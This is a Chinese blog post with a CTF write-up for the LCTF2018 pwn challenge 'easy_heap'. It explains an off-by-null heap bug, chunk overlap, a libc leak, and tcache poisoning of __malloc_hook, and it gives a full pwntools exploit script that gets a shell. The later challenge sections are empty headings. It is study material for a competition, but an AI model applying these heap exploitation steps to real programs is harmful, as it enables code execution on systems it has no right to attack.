arttnba3's old blog

- arttnba3的垃圾堆积处 -

0%

【CTF题解-0x08】LCTF2018-pwn write up by arttnba3

最近忙的焦头烂额,写点学长们出的题放松一下…(x

0x00.绪论

image.png

LCTF——前身是XDCTF(不包括2016及以后的部分),是由L-TEAM@XDSEC主办的CTF,2019年加入D3CTF豪华全家桶

前辈师傅们的出题质量很高,所以我可能卡好几天才会出一道题23333

虽然难是真的难,但是作为协会的小学弟还是要把学长们出过的题刷一刷XD

0x01.easy_heap - off by null + chunk overlapping + Unsorted bin Leak + one_gadget

点击下载-easy_heap

点击下载-libc64.so

惯例的checksec分析,保护全开

image.png

拖入IDA进行分析(部分函数及变量经过重命名

image.png

果不其然,传统的CTF签到题都是堆题,LCTF2018也不例外

我们可以看到程序本身仅会分配大小为0xF8的堆块

image.png

同时本题只允许我们分配10个堆块,在需要用7个来填满tcache的前提下, 可用空间属实有一丶丶紧张

image.png

漏洞点存在于读入输入时,会将当前chunk的*(ptr + size)置0

image.png

我们不难想到,若是我们输入的size为0xf8,则有机会将下一个物理相邻chunk的PREV_INUSE域覆盖为0,即存在off by null漏洞

248 = 16*15 + 8

通过off by null漏洞我们便可以实现堆块的重叠(overlap):在tcache有六个chunk、我们手上有地址连续的三个chunk:A、B、C的情况下,先free掉B,送入tcache中保护起来,free掉A送入tcache,再malloc回B,覆写C的PREV_IN_USE为0,之后free掉C,触发malloc_consolidate,合并成为一个0x300的大chunk,实现overlapping

之后倒空tcache,再分配一个chunk,便会分割unsorted bin里的大chunk,此时unsorted bin里的chunk与此前的chunk B重叠,输出chunk B的内容便能获得libc基址

再分配一个chunk以得到指向相同位置上的堆块的索引,在这里构造tcache poisoning覆写__malloc_hook为one_gadget后随便分配一个chunk即可getshell

需要注意的是在释放堆块的功能函数中在free前会先清空堆块内容,故在这里无法通过修改__free_hook为system后free(“/bin/sh”)的方法来getshell,因此笔者只好选择攻击__malloc_hook

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
p = process('./easy_heap')
e = ELF('./easy_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x10a41c

def cmd(index:int):
p.recvuntil(b'> ')
p.sendline(str(index).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b'size \n> ')
p.sendline(str(size).encode())
p.recvuntil(b'content \n> ')
p.sendline(content)

def free(index:int):
cmd(2)
p.recvuntil(b'index \n> ')
p.sendline(str(index).encode())

def dump(index:int):
cmd(3)
p.recvuntil(b'index \n> ')
p.sendline(str(index).encode())

def exp():
# malloc the chunk
for i in range(10):
new(114, "arttnba3")

# fill the tcache
for i in range(7):
free(9-i)

# unsorted bin chunk consolidate
free(0)
free(1)
free(2)

# re-malloc the chunk
for i in range(10):
new(114, "arttnba3")

# fill the tcache, protect the important chunk
free(8)
for i in range(6):
free(i)

# unsorted bin overlap
free(7)
for i in range(6):
new(114, "arttnba3")
new(0xF8, "arttnba3") # idx 7, the former 8
for i in range(7):
free(i)
free(9)

# leak the libc base
for i in range(7):
new(114, "arttnba3")
new(114, "arttnba3") # idx 8
dump(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("libc addr leak: " + hex(libc_base))

# tcache poisoning
new(114, "arttnba3") # idx 9
free(0)
free(1)
free(7)
free(2)
free(9)
new(114, p64(libc_base + libc.sym['__malloc_hook']))
new(114, "arttnba3")
new(114, "arttnba3")
new(114, p64(libc_base + one_gadget)) # fake chunk

# get the shell
cmd(1)
p.interactive()

if __name__ == '__main__':
exp()

运行,成功getshell(本地环境Ubuntu18.0.4)

image.png

0x02.pwn4fun

0x03.justpwn - House of Spirit

点击下载-just_pwn

0x04.echos

Welcome to my other publishing channels